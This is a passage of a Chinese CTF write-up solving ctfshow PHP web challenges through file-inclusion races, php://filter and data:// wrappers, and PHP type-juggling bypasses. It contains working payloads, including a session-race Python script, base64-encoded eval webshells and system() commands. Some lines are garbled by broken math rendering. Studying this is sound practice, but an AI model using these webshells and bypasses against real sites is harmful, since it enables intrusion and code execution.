            response = session.get(url+'?file=/tmp/sess_flag')
            if 'hehei' in response.text:
                print(response.text)
                break
            else:
                print('retry')
    
    if __name__ == '__main__':
        session = requests.session()
        write = threading.Thread(target=write, args=(session,))
        write.daemon = True
        write.start()
        read(session)
    
    

web83

  • session_unset();
    session_destroy();
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
    
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
  • 这里先把session销毁了,但是还可以写,因为销毁和写存在时间的上的间隔,可能一个线程刚删完以为删掉了,但是另外一个线程在这个空隙又写了一个,所以上题的payload还是可以用

web84

  • if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        system("rm -rf /tmp/*");
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
  • 这次把tmp删了,还是和上一题一样,多线程竞争

web85

  • if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        if(file_exists($file)){
            $content = file_get_contents($file);
            if(strpos($content, "<")>0){
                die("error");
            }
            include($file);
        }
        
    }else{
        highlight_file(__FILE__);
    
    
  • 这次如果file里面含有<,就会die,这个需要线程多一点,这样好竞争,同样payload

web86

  • define('还要秀?', dirname(__FILE__));
    set_include_path(还要秀?);
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        include($file);
    
        
    }else{
        highlight_file(__FILE__);
    }
    
  • 这次是先定义了一个include路径,但是我们include的东西不被这个影响,继续用上面payload

web87

  • if(isset($_GET['file'])){
        $file = $_GET['file'];
        $content = $_POST['content'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
        
    }else{
        highlight_file(__FILE__);
    }
    
  • 题目这里,先是GET传入了一个file,然后POST传入了content,然后把<?php die('大佬别秀了');?>与content写入了file

  • 思路就是file里用filter然后写一个php文件,而且要经过一定的处理,使得<?php die('大佬别秀了');?>无法被解析,然后content传入相应的处理过后的🐎

  • 这里?file=php://filter/write=convert.base64-decode/resource=1.php,然后对其二次url全编码,因为代码里urldecode了,传入服务器的时候会decode一次,这里再decode一次,所以是两次,然后得到payload?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

  • 这里content就写🐎,然后base64decode,不过要注意,题目的那句waf也会被解码,因为base64是每8位解码的,而waf中base64中的字符有6个,所以要把🐎base64加密后前面加两个字母,同时,这次是@eval,不然会因为前面的不规则字符导致执行失败,然后最后payload就是content=hhPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

  • 然后访问1.php,POST传参就可以读flag了

web 88

  • if(isset($_GET['file'])){
        $file = $_GET['file'];
        if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
            die("error");
        }
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
  • 这题没有过滤:,所以用data协议

  • ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg

  • 先ls看目录

  • ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

  • 然后 tac fl0g.php

web116

  • 进来就是一段视频的播放,也无法查看源代码,把js关了也没法看

  • 然后用burp抓包,发送之后啥也没返回

  • 试试传入一个file,因为之前都是file,?file=index.php

  • 然后burp返回了这个源码,过滤了好多,但是可以直接读flag.php

  • <?php
    error_reporting(0);
    function filter($x){
        if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
            die('too young too simple sometimes naive!');
        }
    }
    $file=isset($_GET['file'])?$_GET['file']:"5.mp4";
    filter($file);
    header('Content-Type: video/mp4');
    header("Content-Length: $file");
    readfile($file);
    ?>
    
  • <?php
    $flag="ctfshow{1994d609-7adb-4554-9ca9-dfa20332d4ba}";
    ?>
    
  • 群主视频,黑屏了,黑屏了,也不知道咋做

  • 百度上搜的大佬的wp,好像是把视频下载,然后放010里拿到图片,里面有源码,可惜不会MISC,只能碰巧

web117

  • highlight_file(__FILE__);
    error_reporting(0);
    function filter($x){
        if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
            die('too young too simple sometimes naive!');
        }
    }
    $file=$_GET['file'];
    $contents=$_POST['contents'];
    filter($file);
    file_put_contents($file, "<?php die();?>".$contents);
    
  • 跟87很像,不过是过滤了base64,换种paload就好

  • ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

  • POST: contents=?<hp pvela$(P_SO[T]1;)>?

  • 这种是每两位翻转一下比如POST就变成了OPTS

PHP特性

web89

  • include("flag.php");
    highlight_file(__FILE__);
    
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if(preg_match("/[0-9]/", $num)){
            die("no no no!");
        }
        if(intval($num)){
            echo $flag;
        }
    }
    
  • 数组绕过

  • payload?num[]=

web90

  • include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    
  • 吃瓜杯签到就是这个基础上加了第一位不能是0,这个直接进制绕过就行,intval($num,0),0的话是自适应转化进制的,八进制以0开头,所以?num=010574就可以绕过

web91

  • show_source(__FILE__);
    include('flag.php');
    $a=$_GET['cmd'];
    if(preg_match('/^php$/im', $a)){
        if(preg_match('/^php$/i', $a)){
            echo 'hacker';
        }
        else{
            echo $flag;
        }
    }
    else{
        echo 'nonononono';
    }
    
  • /i表示匹配大小写
    字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
    /m 多行匹配 若存在换行\n并且有开始^或结束 符 的 情 况 下 , 将 以 换 行 为 分 隔 符 , 逐 行 进 行 匹 配 但 是 当 出 现 换 行 符 ‘ 符的情况下,将以换行为分隔符,逐行进行匹配 但是当出现换行符 `%0a`的时候, cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

  • payload如下

  • ?cmd=%0aphp
    ?cmd=php%0a%0a
    

web92

  • include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    
  • 变成弱==了,可以用字符绕过,也还是可以用进制绕过就可以进制绕过了?num=010574

web93

  • include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    
  • 过滤了字母,16进制被ban,那么八进制还是可以用,继续上题的payload

web94

  • include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(!strpos($num, "0")){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    
    
  • 0不能在首位,所以还是八进制,然后在前面第一个位置加一个空格就好,或者小数绕过

web95

  • include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]|\./i", $num)){
            die("no no no!!");
        }
        if(!strpos($num, "0")){
            die("no no no!!!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    
  • 过滤了小数点,还是空格加八进制绕过

web96

  • highlight_file(__FILE__);
    
    if(isset($_GET['u'])){
        if($_GET['u']=='flag.php'){
            die("no no no");
        }else{
            highlight_file($_GET['u']);
        }
    
    
    }
    
  • 换题了,flag应该在当前目录的flag.php,直接./就可以绕过加读取了

web97

  • include("flag.php");
    highlight_file(__FILE__);
    if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
    if (md5($_POST['a']) === md5($_POST['b']))
    echo $flag;
    else
    print 'Wrong.';
    }
    
  • 经典md5绕过,又要相等又要不等,直接数组绕过

  • a[]=1&b[]=2

web98

  • include("flag.php");
    $_GET?$_GET=&$_POST:'flag';
    $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
    $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
    highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
    
  • 这个考三目运算符,第一行意思就是有get参数传进来就把post传值的地址给get,否则就是flag,然后最后一行就是如果get的http_flag参数是flag就把flag作为参数传给highlight_file

  • 那么这题就很简单了,只需要get随便传个值,然后post传HTTP_FLAG=flag就可

web99

  • highlight_file(__FILE__);
    $allow = array();
    for ($i=36; $i < 0x36d; $i++) { 
        array_push($allow, rand(1,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    
  • 开始就是产生随机数,存入一个数组里

  • 然后检验get传入的值是不是在数组里,这里有一个弱类型的比较,只需要传入的参数是以满足要求的数字开头的都可以。比如1.php,1.php在与数字比较时会自动变成1进行比较,如果不行的话换个数再试试

  • 然后就是把post的内容写入get传来的参数命名的文件里

  • payload就是?n=1.php,同时post传入content=<?php eval($_POST["a"]);?>,然后访问1.php,接着post传参读flag,a=system("ls");``a=system("tac flag36d.php")

web100

  • highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
        if(!preg_match("/\;/", $v2)){
            if(preg_match("/\;/", $v3)){
                eval("$v2('ctfshow')$v3");
            }
        }
        
    
  • is_numeric() 函数用于检测变量是否为数字或数字字符串
    如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

  • 判断的条件是if( v 0 ) , 而 v o 的 初 始 化 为 ‘ v0),而vo的初始化为` v0)vov0=is_numeric( v 1 ) a n d i s n u m e r i c ( v1) and is_numeric( v1)andisnumeric(v2) and is_numeric(KaTeX parse error: Expected 'EOF', got '&' at position 17: …3);`,php中运算优先级为&̲& > = > and,也就是…v1)有关,那么只需要v1传入数字即可,v2传入命令,v3需要含有;

  • 最后payload为?v1=21&v2=var_dump($ctfshow)*/\*&v3=\*/**;*

  • 利用内联注释可以把(‘ctfshow’)注释掉

web101

  • highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
            if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
                eval("$v2('ctfshow')$v3");
            }
        }
        
    }
    
  • 相比上题过滤掉了很多东西

  • 这个需要用到php的反射类

  • PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
    $class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
    $instance = c l a s s − > n e w I n s t a n c e A r g s ( class->newInstanceArgs( class>newInstanceArgs(args); // 相当于实例化ctfshow类

  • payload为?v1=1&v2=echo new ReflectionClass&v3=;

web102

  • highlight_file(__FILE__);
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    $v4 = is_numeric($v2) and is_numeric($v3);
    if($v4){
        $s = substr($v2,2);
        $str = call_user_func($v1,$s);
        echo $str;
        file_put_contents($v3,$str);
    }
    else{
        die('hacker');
    }
    
  • post传v1,get传v2v3,v2需要是数字

  • is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

    call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

    file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

  • 也就是说,v1传入的函数名字,以v2的第二位以后的内容作为参数,返回结果写入v3中

  • payloadGET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin

  • 先把命令base64 encode,然后再转化为数字,最后在数字前面随便加两位

web103

  • highlight_file(__FILE__);
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    $v4 = is_numeric($v2) and is_numeric($v3);
    if($v4){
        $s = substr($v2,2);
        $str = call_user_func($v1,$s);
        echo $str;
        if(!preg_match("/.*p.*h.*p.*/i",$str)){
            file_put_contents($v3,$str);
        }
        else{
            die('Sorry');
        }
    }
    else{
        die('hacker');
    }
    
  • 相比上题,命令中不能含php,但是不影响用*绕过

  • payloadGET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin

web104

  • highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2)){
            echo $flag;
        }
    }
    
  • 啊这,应该想考的是不能处理数组会返回null,这时候可以绕过,但是题目也没说v1v2不能相等啊

  • 直接v1=1 v2=1

  • 拿到了flag

web105

  • highlight_file(__FILE__);
    include('flag.php');
    error_reporting(0);
    $error='你还想要flag嘛?';
    $suces='既然你想要那给你吧!';
    foreach($_GET as $key => $value){
        if($key==='error'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }foreach($_POST as $key => $value){
        if($value==='flag'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }
    if(!($_POST['flag']==$flag)){
        die($error);
    }
    echo "your are good".$flag."\n";
    die($suces);
    
    ?>
    
  • 这题的核心在于$$key=$$value,比如传入一个参数,a=flag,那么在第一个for循环里,就会变成$a=$flag,a的值就会变成flag,剩下的问题就是输出,可以看到有四个die,第一个是如果get传入的参数值为error就会退出,第二个是post传入的值为flag会退出,那么需要通过die来输出,也就是说要把error或者suces的值变成flag然后就可以输出出来,那么通过第一个for循环,我们把 a 的 值 变 成 了 f l a g 的 值 , 那 么 通 过 第 二 个 f o r 循 环 可 以 把 e r r o r 的 值 或 者 s u c e s 的 值 指 向 a的值变成了flag的值,那么通过第二个for循环可以把error的值或者suces的值指向 aflagforerrorsucesa,那就可以post传值error=a或者suces=a,看后面的判断,如果post传入的flag参数值与 f l a g 不 相 等 , 就 会 d i e ( e r r o r ) , 那 么 我 们 可 以 p o s t 传 值 e r r o r = a , 那 么 就 会 执 行 d i e ( flag不相等,就会die(error),那么我们可以post传值error=a,那么就会执行die( flagdie(error)posterror=adie(error),$error的值是flag,这样可以拿到flag

  • 第二个方法就是利用die( s u c e s ) 输 出 , 那 么 需 要 p o s t 传 入 的 f l a g 的 值 与 suces)输出,那么需要post传入的flag的值与 suces)postflagflag相等,首先我们不知道flag的值,不能直接传入flag的值,再说了知道flag了还困在这干嘛直接交了,那么还有一种方法就是把KaTeX parse error: Expected 'EOF', got '&' at position 39: …t传参`?suces=flag&̲flag=`,这样会先把fla…suces)输出了

web106

  • highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2) && $v1!=$v2){
            echo $flag;
        }
    }
    
  • 这个是数组绕过了

  • payloadGET v2[]=1 POST v1[]=2

web107

  • highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    if(isset($_POST['v1'])){
        $v1 = $_POST['v1'];
        $v3 = $_GET['v3'];
           parse_str($v1,$v2);
           if($v2['flag']==md5($v3)){
               echo $flag;
           }
    
    }
    
  • parse_str() 定义和用法

    parse_str() 函数把查询字符串解析到变量中。

    **注释:**如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

    **注释:**php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

    语法

    parse_str(string,array)
    
    参数描述
    string必需。规定要解析的字符串。
    array可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
  • payloadGET ?v3=heihei POST v1=flag=0ada0f86099479922efa4ae341df9bbd

web 108

  • highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
        die('error');
    
    }
    //只有36d的人才能看到flag
    if(intval(strrev($_GET['c']))==0x36d){
        echo $flag;
    }
    
  • ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的

    strrev() 函数反转字符串。

    intval() 函数用于获取变量的整数值

  • ereg函数可以用%00截断,36d的十进制是877

  • 所以构造payload?c=a%00778

web 109

  • highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
                eval("echo new $v1($v2());");
        }
    
    }
    
  • Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类

    ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

  • payload为?v1=Exception&v2=system('ls')``?v1=Exception&v2=system('tac fl36dg.txt'),其中exception可以换成上面另外两个

web110

  • highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
                die("error v1");
        }
        if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
                die("error v2");
        }
    
        eval("echo new $v1($v2());");
    
    }
    
  • 过滤了好多好多好多

  • 新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构

  • payload?v1=FilesystemIterator&v2=getcwd

web 111

  • highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    function getFlag(&$v1,&$v2){
        eval("$$v1 = &$$v2;");
        var_dump($$v1);
    }
    
    
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
                die("error v1");
        }
        if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
                die("error v2");
        }
        
        if(preg_match('/ctfshow/', $v1)){
                getFlag($v1,$v2);
        }
    }
    
  • $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

  • 还是变量覆盖,v1必须是ctfshow,v2可以赋值为GLOBALS,进而将v1覆盖为$GLOBALS

web112

  • highlight_file(__FILE__);
    error_reporting(0);
    function filter($file){
        if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
            die("hacker!");
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    }
    
  • is_file() 函数检查指定的文件名是否是正常的文件

  • 过滤了一些东西,并且传入的参数不能是文件

  • 所以payload为?file=php://filter/resource=flag.php

web 113

  • highlight_file(__FILE__);
    error_reporting(0);
    function filter($file){
        if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
            die('hacker!');
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    }
    
  • 用另外的协议

  • ?file=compress.zlib://flag.php

  • 或者用目录溢出,?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php好像是软连接建立很多次就可以绕过is_file

web114

  • highlight_file(__FILE__);
    function filter($file){
        if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
            die('hacker!');
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    echo "师傅们居然tql都是非预期 哼!";
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    }
    
  • file=php://filter/resource=flag.php

web115

  • include('flag.php');
    highlight_file(__FILE__);
    error_reporting(0);
    function filter($num){
        $num=str_replace("0x","1",$num);
        $num=str_replace("0","1",$num);
        $num=str_replace(".","1",$num);
        $num=str_replace("e","1",$num);
        $num=str_replace("+","1",$num);
        return $num;
    }
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        if($num=='36'){
            echo $flag;
        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }
    
  • 这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag

  • 可以用换页符绕过(%0c)

  • payload?num=%0c36

web123

  • error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
             eval("$c".";");  
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    }
    
  • 在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

  • payloadPOST CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

  • error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
             eval("$c".";");
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    }
    
  • ban了echo、flag

  • payload GET a=flag.php``POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[a])

web126

  • error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
             eval("$c".";");  
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    }
    
  • $_SERVER

    Server and execution environment information

    $_SERVER – Server and execution environment information — 服务器和执行环境信息

    说明

    $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在» CGI 1.1 规范中说明,所以应该仔细研究一下。

    目录

    在 $_SERVER 中,你也许能够,也许不能够找到下面的这些元素。注意,如果以命令行方式运行 PHP,下面列出的元素几乎没有有效的(或是没有任何实际意义的)。

    • ‘PHP_SELF’

      当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行,这个变量将包含脚本名。

    • argv

      传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

    • argc

      包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下)。

    • ‘GATEWAY_INTERFACE’

      服务器使用的 CGI 规范的版本;例如,“CGI/1.1”。

    • ‘SERVER_ADDR’

      当前运行脚本所在的服务器的 IP 地址。

    • ‘SERVER_NAME’

      当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。注意: 在 Apache 2 里,必须设置 UseCanonicalName = OnServerName。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。

    • ‘SERVER_SOFTWARE’

      服务器标识字符串,在响应请求时的头信息中给出。

    • ‘SERVER_PROTOCOL’

      请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。

    • ‘REQUEST_METHOD’

      访问页面使用的请求方法;例如,“GET”, “HEAD”,“POST”,“PUT”。注意:如果请求方法为 HEAD,PHP 脚本将在发送 Header 头信息之后终止(这意味着在产生任何输出后,不再有输出缓冲)。

    • ‘REQUEST_TIME’

      请求开始时的时间戳。

    • ‘REQUEST_TIME_FLOAT’

      请求开始时的时间戳,微秒级别的精准度。

    • ‘QUERY_STRING’

      query string(查询字符串),如果有的话,通过它进行页面访问。

    • ‘DOCUMENT_ROOT’

      当前运行脚本所在的文档根目录。在服务器配置文件中定义。

    • ‘HTTP_ACCEPT’

      当前请求头中 Accept: 项的内容,如果存在的话。

    • ‘HTTP_ACCEPT_CHARSET’

      当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如:“iso-8859-1,*,utf-8”。

    • ‘HTTP_ACCEPT_ENCODING’

      当前请求头中 Accept-Encoding: 项的内容,如果存在的话。例如:“gzip”。

    • ‘HTTP_ACCEPT_LANGUAGE’

      当前请求头中 Accept-Language: 项的内容,如果存在的话。例如:“en”。

    • ‘HTTP_CONNECTION’

      当前请求头中 Connection: 项的内容,如果存在的话。例如:“Keep-Alive”。

    • ‘HTTP_HOST’

      当前请求头中 Host: 项的内容,如果存在的话。

    • ‘HTTP_REFERER’

      引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。

    • ‘HTTP_USER_AGENT’

      当前请求头中 User-Agent: 项的内容,如果存在的话。该字符串表明了访问该页面的用户代理的信息。一个典型的例子是:Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。除此之外,你可以通过 get_browser() 来使用该值,从而定制页面输出以便适应用户代理的性能。

    • ‘HTTPS’

      如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。

    • ‘REMOTE_ADDR’

      浏览当前页面的用户的 IP 地址。

    • ‘REMOTE_HOST’

      浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。注意: 你的服务器必须被配置以便产生这个变量。例如在 Apache 中,你需要在 httpd.conf 中设置 HostnameLookups On 来产生它。参见 gethostbyaddr()

    • ‘REMOTE_PORT’

      用户机器上连接到 Web 服务器所使用的端口号。

    • ‘REMOTE_USER’

      经验证的用户

    • ‘REDIRECT_REMOTE_USER’

      验证的用户,如果请求已在内部重定向。

    • ‘SCRIPT_FILENAME’

